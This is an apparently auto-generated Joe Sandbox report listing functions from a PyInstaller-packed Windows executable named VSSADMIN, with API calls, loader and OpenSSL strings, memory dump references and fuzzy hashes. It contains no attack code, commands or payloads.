LoadLibraryExW.KERNEL32(?,?,?,00007FF614C7D1CA,?,?,?,00007FF614C7CEBC,?,?,00000001,00007FF614C7CAD9), ref: 00007FF614C7CF9D
GetLastError.KERNEL32(?,?,?,00007FF614C7D1CA,?,?,?,00007FF614C7CEBC,?,?,00000001,00007FF614C7CAD9), ref: 00007FF614C7CFAB
LoadLibraryExW.KERNEL32(?,?,?,00007FF614C7D1CA,?,?,?,00007FF614C7CEBC,?,?,00000001,00007FF614C7CAD9), ref: 00007FF614C7CFD5
FreeLibrary.KERNEL32(?,?,?,00007FF614C7D1CA,?,?,?,00007FF614C7CEBC,?,?,00000001,00007FF614C7CAD9), ref: 00007FF614C7D01B
GetProcAddress.KERNEL32(?,?,?,00007FF614C7D1CA,?,?,?,00007FF614C7CEBC,?,?,00000001,00007FF614C7CAD9), ref: 00007FF614C7D027

Strings

api-ms-, xrefs: 00007FF614C7CFBD

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: e8a6d54e8b280745c35d25ebb5fd2685d369d120d0d8ba32cf5e912c9d21884b
Instruction ID: 09a2d82cc85ce2739dfa8aa615a07dd884f482aea23070680b49e0b6b8009704
Opcode Fuzzy Hash: e8a6d54e8b280745c35d25ebb5fd2685d369d120d0d8ba32cf5e912c9d21884b
Instruction Fuzzy Hash: 9731BE22A1EE4292EE519B06A88097523F4FF4AFB5F591536DD1ECB390EF3CE4468710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C764A0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF614C77A60: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF614C726FB), ref: 00007FF614C77A9A

ExpandEnvironmentStringsW.KERNEL32(00000000,00007FF614C767F1,?,?,00000000,?,?,00007FF614C7676D), ref: 00007FF614C764FF

Part of subcall function 00007FF614C72770: MessageBoxW.USER32 ref: 00007FF614C72845

Strings

LOADER: Failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF614C76513
LOADER: Failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF614C764D6
LOADER: Failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF614C7655A

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: LOADER: Failed to convert runtime-tmpdir to a wide string.$LOADER: Failed to expand environment variables in the runtime-tmpdir.$LOADER: Failed to obtain the absolute path of the runtime-tmpdir.
API String ID: 1662231829-3498232454
Opcode ID: a923076141be09bbc7de495348c051f7aeed93bc067fef176d064635955aa6b8
Instruction ID: 5329e482434e14f76dc2ae72854091868df9aaaebfc69258aac4c527fd38dbe9
Opcode Fuzzy Hash: a923076141be09bbc7de495348c051f7aeed93bc067fef176d064635955aa6b8
Instruction Fuzzy Hash: 21318911B1CF8352FA609725E9D53BA6171AF9AFE1F844033DA4EC379AEE2DE5049700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3FBF377E Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 85COMMON

Download Yara Rule

APIs

00007FFD5FD0F8C0.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFD3FC99C16

Strings

MASK:, xrefs: 00007FFD3FC99B4A
default, xrefs: 00007FFD3FC99C3A
pkix, xrefs: 00007FFD3FC99BCF
nombstr, xrefs: 00007FFD3FC99B8F
utf8only, xrefs: 00007FFD3FC99C0C

Memory Dump Source

Source File: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID: 00007
String ID: MASK:$default$nombstr$pkix$utf8only
API String ID: 3568877910-3483942737
Opcode ID: 0eb005829b5090700deec3fa77c1e89360f57b44948d3d3a333400b0d416245b
Instruction ID: 0b38e186f771a4c7610b39bf5a2dd740d048edcc5f21bdac5e7fe32f2c53e653
Opcode Fuzzy Hash: 0eb005829b5090700deec3fa77c1e89360f57b44948d3d3a333400b0d416245b
Instruction Fuzzy Hash: 42314D22B1C58D86EB598B1CF4A03BD77A0FB85750F844232EB5E43A99DE1CE495D700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C77A60 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF614C726FB), ref: 00007FF614C77A9A

Part of subcall function 00007FF614C72620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF614C77774,?,?,?,?,?,?,?,?,?,?,?,00007FF614C7101D), ref: 00007FF614C72654
Part of subcall function 00007FF614C72620: MessageBoxW.USER32 ref: 00007FF614C72730

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF614C726FB), ref: 00007FF614C77B20

Strings

Failed to get wchar_t buffer size., xrefs: 00007FF614C77AA7
MultiByteToWideChar, xrefs: 00007FF614C77AAE, 00007FF614C77B31
win32_utils_from_utf8, xrefs: 00007FF614C77AE9
Out of memory., xrefs: 00007FF614C77AE2
Failed to decode wchar_t from UTF-8, xrefs: 00007FF614C77B2A

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
API String ID: 3723044601-876015163
Opcode ID: af1bd620760198096b51ffca5ad4a35e36406969f2f33d318404d75935fb6e44
Instruction ID: 717150f64954594f96bb834c5812009267792c145566cc19a8c116bdf769a571
Opcode Fuzzy Hash: af1bd620760198096b51ffca5ad4a35e36406969f2f33d318404d75935fb6e44
Instruction Fuzzy Hash: 59215526B0CE4292EB50DB19F480069A3B1FB86BE8F584137DB5CC3B69EE2DE5518700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8A650 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF614C92463,?,?,?,00007FF614C8CBBC,?,?,00000000,00007FF614C83A8F,?,?,?,00007FF614C89343), ref: 00007FF614C8A65F
FlsGetValue.KERNEL32(?,?,?,00007FF614C92463,?,?,?,00007FF614C8CBBC,?,?,00000000,00007FF614C83A8F,?,?,?,00007FF614C89343), ref: 00007FF614C8A674
FlsSetValue.KERNEL32(?,?,?,00007FF614C92463,?,?,?,00007FF614C8CBBC,?,?,00000000,00007FF614C83A8F,?,?,?,00007FF614C89343), ref: 00007FF614C8A695
FlsSetValue.KERNEL32(?,?,?,00007FF614C92463,?,?,?,00007FF614C8CBBC,?,?,00000000,00007FF614C83A8F,?,?,?,00007FF614C89343), ref: 00007FF614C8A6C2
FlsSetValue.KERNEL32(?,?,?,00007FF614C92463,?,?,?,00007FF614C8CBBC,?,?,00000000,00007FF614C83A8F,?,?,?,00007FF614C89343), ref: 00007FF614C8A6D3
FlsSetValue.KERNEL32(?,?,?,00007FF614C92463,?,?,?,00007FF614C8CBBC,?,?,00000000,00007FF614C83A8F,?,?,?,00007FF614C89343), ref: 00007FF614C8A6E4
SetLastError.KERNEL32(?,?,?,00007FF614C92463,?,?,?,00007FF614C8CBBC,?,?,00000000,00007FF614C83A8F,?,?,?,00007FF614C89343), ref: 00007FF614C8A6FF

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 3efd373c14d2905db5cf458f2f6b2ad3e7cf37933da3a5fec4fc665eb1109d59
Instruction ID: 0c761902a80d3848f273854b2926a9bb2ad5779016771e9b17685e10aa081245
Opcode Fuzzy Hash: 3efd373c14d2905db5cf458f2f6b2ad3e7cf37933da3a5fec4fc665eb1109d59
Instruction Fuzzy Hash: 10218B24B0CE4342FA58672996C517A62725F4AFB4F180737E93EC77DAEE2DB441A700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C9709C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF614C970CD
GetLastError.KERNEL32 ref: 00007FF614C970D9
CloseHandle.KERNEL32 ref: 00007FF614C970F1
CreateFileW.KERNEL32 ref: 00007FF614C9711C
WriteConsoleW.KERNEL32 ref: 00007FF614C9713B

Strings

CONOUT$, xrefs: 00007FF614C970FD

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 8e0e590b76c227ed4e0945dd3cc989df51f43b4687c0318c0d05d3449c58233d
Instruction ID: 342ce6e1e1fb8e72f295e9ca9060615c825662d53de512ff67ff20a91df6bdd1
Opcode Fuzzy Hash: 8e0e590b76c227ed4e0945dd3cc989df51f43b4687c0318c0d05d3449c58233d
Instruction Fuzzy Hash: F7119025B18E8286E7508B56F89432972B0FB89FF8F540236EA5EC77A4DF3ED5148740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8A7C8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF614C8447D,?,?,?,?,00007FF614C8DDD7,?,?,00000000,00007FF614C8A8E6,?,?,?), ref: 00007FF614C8A7D7
FlsSetValue.KERNEL32(?,?,?,00007FF614C8447D,?,?,?,?,00007FF614C8DDD7,?,?,00000000,00007FF614C8A8E6,?,?,?), ref: 00007FF614C8A80D
FlsSetValue.KERNEL32(?,?,?,00007FF614C8447D,?,?,?,?,00007FF614C8DDD7,?,?,00000000,00007FF614C8A8E6,?,?,?), ref: 00007FF614C8A83A
FlsSetValue.KERNEL32(?,?,?,00007FF614C8447D,?,?,?,?,00007FF614C8DDD7,?,?,00000000,00007FF614C8A8E6,?,?,?), ref: 00007FF614C8A84B
FlsSetValue.KERNEL32(?,?,?,00007FF614C8447D,?,?,?,?,00007FF614C8DDD7,?,?,00000000,00007FF614C8A8E6,?,?,?), ref: 00007FF614C8A85C
SetLastError.KERNEL32(?,?,?,00007FF614C8447D,?,?,?,?,00007FF614C8DDD7,?,?,00000000,00007FF614C8A8E6,?,?,?), ref: 00007FF614C8A877

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4c52bc5e5372e865c4a3c685b4a960aeb42bb1f19d5b270cb680a2a9eed32c38
Instruction ID: 6c5ca6c08872f62a718d612997aa6df4b715a143c14ce02ef574d144d6167ecd
Opcode Fuzzy Hash: 4c52bc5e5372e865c4a3c685b4a960aeb42bb1f19d5b270cb680a2a9eed32c38
Instruction Fuzzy Hash: BF118E24F0CE4742FA18572996C517A21729F47FB0F144336E92EC77D6EE2DE4026710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7C8D8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF614C7C903
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF614C7C998
RtlUnwindEx.KERNEL32 ref: 00007FF614C7C9E7

Strings

csm, xrefs: 00007FF614C7C97E
f, xrefs: 00007FF614C7C916

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 1a83892880e5095dfe2d0dec5f3e9b6bb990bdc28557877ea76d50c18ddc7099
Instruction ID: a248c42de3bc9d8e642e4a5ab875f693969a78506d1565703df18c64de22cdf8
Opcode Fuzzy Hash: 1a83892880e5095dfe2d0dec5f3e9b6bb990bdc28557877ea76d50c18ddc7099
Instruction Fuzzy Hash: 9D519132A1DA0387E754CF15E484A2D37A5FB46FAAF508132DA4A87748EF38E941C704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3FBF158C Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 131COMMON

Download Yara Rule

APIs

00007FFD592F1170.VCRUNTIME140 ref: 00007FFD3FE34ABF

Strings

FALSE, xrefs: 00007FFD3FE317EB, 00007FFD3FE31803
..\s\crypto\x509v3\v3_utl.c, xrefs: 00007FFD3FE34A94, 00007FFD3FE34AD0, 00007FFD3FE34AED, 00007FFD3FE34B49, 00007FFD3FE34B74, 00007FFD3FE34B89, 00007FFD3FE34B9E
TRUE, xrefs: 00007FFD3FE317C9, 00007FFD3FE317E2
E, xrefs: 00007FFD3FE34B41

Memory Dump Source

Source File: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID: 00007D592F1170
String ID: ..\s\crypto\x509v3\v3_utl.c$E$FALSE$TRUE
API String ID: 4247867426-1433594941
Opcode ID: 75eb748e2660e600ced4d7ef43fabb5a78271367a70e407096b100b27adb93a7
Instruction ID: d92c331b49368be01ec65b94e02ddf5944eaddbb71b4c44c2f44656b7d98ac8e
Opcode Fuzzy Hash: 75eb748e2660e600ced4d7ef43fabb5a78271367a70e407096b100b27adb93a7
Instruction Fuzzy Hash: EB51CE62F0A74A94FA2CDB52D4247B923A0AF85780F84443ADF4D27789DF7EE941E301

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C72240 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00007FF614C7242F), ref: 00007FF614C72278
DialogBoxIndirectParamW.USER32 ref: 00007FF614C7233C
DeleteObject.GDI32 ref: 00007FF614C7236F
DestroyIcon.USER32 ref: 00007FF614C72381

Strings

Unhandled exception in script, xrefs: 00007FF614C722A8

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 974deba25f7d704b68bc438d35764f22adf165380188aa8b9be72cc7fdee2770
Instruction ID: 8d5ede278d034fde43ca452e616bc6d53117661fb95187da014c9fb4eb46146e
Opcode Fuzzy Hash: 974deba25f7d704b68bc438d35764f22adf165380188aa8b9be72cc7fdee2770
Instruction Fuzzy Hash: F031427260CA8299EB24DF65E8951F96370FF8AB94F400136EA4D8BB56DF3DD145C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C72620 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,00000000,00007FF614C77774,?,?,?,?,?,?,?,?,?,?,?,00007FF614C7101D), ref: 00007FF614C72654

Part of subcall function 00007FF614C774E0: GetLastError.KERNEL32(00000000,00007FF614C7269E,?,?,?,?,?,?,?,?,?,?,?,00007FF614C7101D), ref: 00007FF614C77507
Part of subcall function 00007FF614C774E0: FormatMessageW.KERNEL32 ref: 00007FF614C77536

Part of subcall function 00007FF614C77A60: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF614C726FB), ref: 00007FF614C77A9A

MessageBoxW.USER32 ref: 00007FF614C72730
MessageBoxA.USER32 ref: 00007FF614C7274C

Strings

%s%s: %s, xrefs: 00007FF614C726AB
Fatal error detected, xrefs: 00007FF614C72706, 00007FF614C7273E

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Message$ErrorLast$ByteCharFormatMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 2806210788-2410924014
Opcode ID: 7890d9f144e33e33d69a38586b169397518973d2a5b1a440a20cff3164d3e9e8
Instruction ID: a14333e64394f4d7aec91c6de1b8a0ec33d43a700be5e5ed5aafd33a599e2923
Opcode Fuzzy Hash: 7890d9f144e33e33d69a38586b169397518973d2a5b1a440a20cff3164d3e9e8
Instruction Fuzzy Hash: C131647262CEC292EA309B14E4916EA6374FF85B94F405037E68D83A59DF3DD745CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C88910 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF614C88935
GetProcAddress.KERNEL32 ref: 00007FF614C8894B
FreeLibrary.KERNEL32 ref: 00007FF614C88972

Strings

mscoree.dll, xrefs: 00007FF614C8892C
CorExitProcess, xrefs: 00007FF614C88944

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 1edae9836d644cf3f37344bb8067f5d3e72c30a74e7bf89e7e9475504bb25611
Instruction ID: e52832263dd51c3d50f8a8cb14844fbee443b16ab54c14f4669ffdd6260e5c8f
Opcode Fuzzy Hash: 1edae9836d644cf3f37344bb8067f5d3e72c30a74e7bf89e7e9475504bb25611
Instruction Fuzzy Hash: 57F04F65A19E4291EF108B24E48533A5330AF86FB5F540637D56E87AF4DF2ED548C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C987D4 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

